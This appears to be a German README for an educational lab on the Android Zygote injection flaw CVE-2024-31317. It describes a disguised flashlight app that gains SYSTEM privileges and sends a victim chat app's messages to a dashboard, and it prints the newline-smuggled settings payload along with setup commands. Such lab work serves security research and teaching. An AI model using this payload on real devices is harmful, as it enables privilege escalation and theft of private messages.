
Pädagogische Demonstration der CVE-2024-31317 Zygote Injection Schwachstelle unter Android
Dieses Labor demonstriert CVE-2024-31317, eine kritische Android-Sicherheitslücke, die es einer bösartigen App ermöglicht, Privilegien auf SYSTEM-Ebene (UID 1000) zu erlangen und die Android-Sandbox zu umgehen, um Daten anderer Anwendungen in Echtzeit auszulesen.
ZygoteExploitDemo/
├── 📱 apps/
│ ├── SecureChat/ # Victim app (Jetpack Compose)
│ │ ├── Encrypted messages stored in SQLite
│ │ └── Simulates WhatsApp-style encryption
│ │
│ ├── FlashlightPro/ # Malicious app with exploit
│ │ ├── Normal flashlight UI (distraction)
│ │ ├── Background exploit service
│ │ └── WRITE_SECURE_SETTINGS permission
│ │
│ └── MonitorService/ # SYSTEM-level reader
│ ├── Runs with UID 1000 after exploit
│ ├── Reads SecureChat database
│ └── Exfiltrates to dashboard
│
├── 📊 dashboard/ # Flask web dashboard
│ └── app.py # Shows stolen messages live
│
├── 📜 scripts/ # Automation scripts
│ ├── setup_vulnerable_emulator.sh
│ ├── build_all_apps.sh
│ ├── install_all_apps.sh
│ ├── run_exploit.py
│ └── monitor_logs.sh
│
├── 🎯 exploits/ # Exploit information
│ ├── CVE-2024-31317.md
│ └── payloads.txt
│
└── 📁 tamplates/ # Code templates
├── exploit_template.java
└── dashboard_template.html
CVE-2024-31317 existiert in der Art und Weise, wie der Android-Zygote-Prozess die Systemeinstellung hidden_api_blacklist_exemptions verarbeitet. Aufgrund fehlender Eingabebereinigung kann ein Angreifer Zeilenumbruchzeichen injizieren, um beliebige Argumente zu Zygote-Befehlen hinzuzufügen.
Angriffsvektor:
Settings.Global.putString(
contentResolver,
"hidden_api_blacklist_exemptions",
"LClass1;->method1(\n" +
"7\n" +
"--setuid=1000\n" + // Run as SYSTEM
"--setgid=1000\n" + // Run as SYSTEM group
"--invoke-with\n" +
"am start-service ...;\n"
);
| Version | Status |
|---|---|
| Android 9 - 14 | ❌ Anfällig (vor Juni 2024 Patch) |
| Android 14+ | ✅ Gepatcht (Sicherheitsupdate Juni 2024) |
| Android 15+ | ✅ Sicher |
git clone https://github.com/GitAmanS/ZygoteExploitDemo.git
cd ZygoteExploitDemo
cd scripts
chmod +x *.sh
./setup_vulnerable_emulator.sh
# Start the emulator
emulator -avd vulnerable_android_12
# In a new terminal
cd ZygoteExploitDemo/scripts
./build_all_apps.sh
./install_all_apps.sh
cd ../dashboard
pip3 install flask flask-cors
python3 app.py
📱 Öffnen Sie http://localhost:5000 in Ihrem Browser
cd ../scripts
python3 run_exploit.py
🎬 Demo-Video folgt in Kürze
WRITE_SECURE_SETTINGS an/data/data/com.securechat/databases/Beiträge sind willkommen! Bitte:
Bereiche für Beiträge:
MIT-Lizenz – Siehe LICENSE Datei für Details
Aman - @GitAmanS
Wenn Sie dies lehrreich fanden, geben Sie bitte einen Stern! ⭐
Für Sicherheitsforscher gemacht, von einem Sicherheitsforscher
Denken Sie daran: Mit großer Macht kommt große Verantwortung 🕷️
| Stufe | Beschreibung | Visual |
|---|
| 1 | Benutzer installiert harmlos aussehende "Flashlight Pro" App | 🔦 |
| 2 | App nutzt CVE-2024-31317 aus, um SYSTEM-Zugriff zu erlangen | 💉 |
| 3 | SYSTEM-Dienst liest "SecureChat"-Nachrichten | 👁️ |
| 4 | Gestohlene Nachrichten erscheinen im Live-Dashboard | 📊 |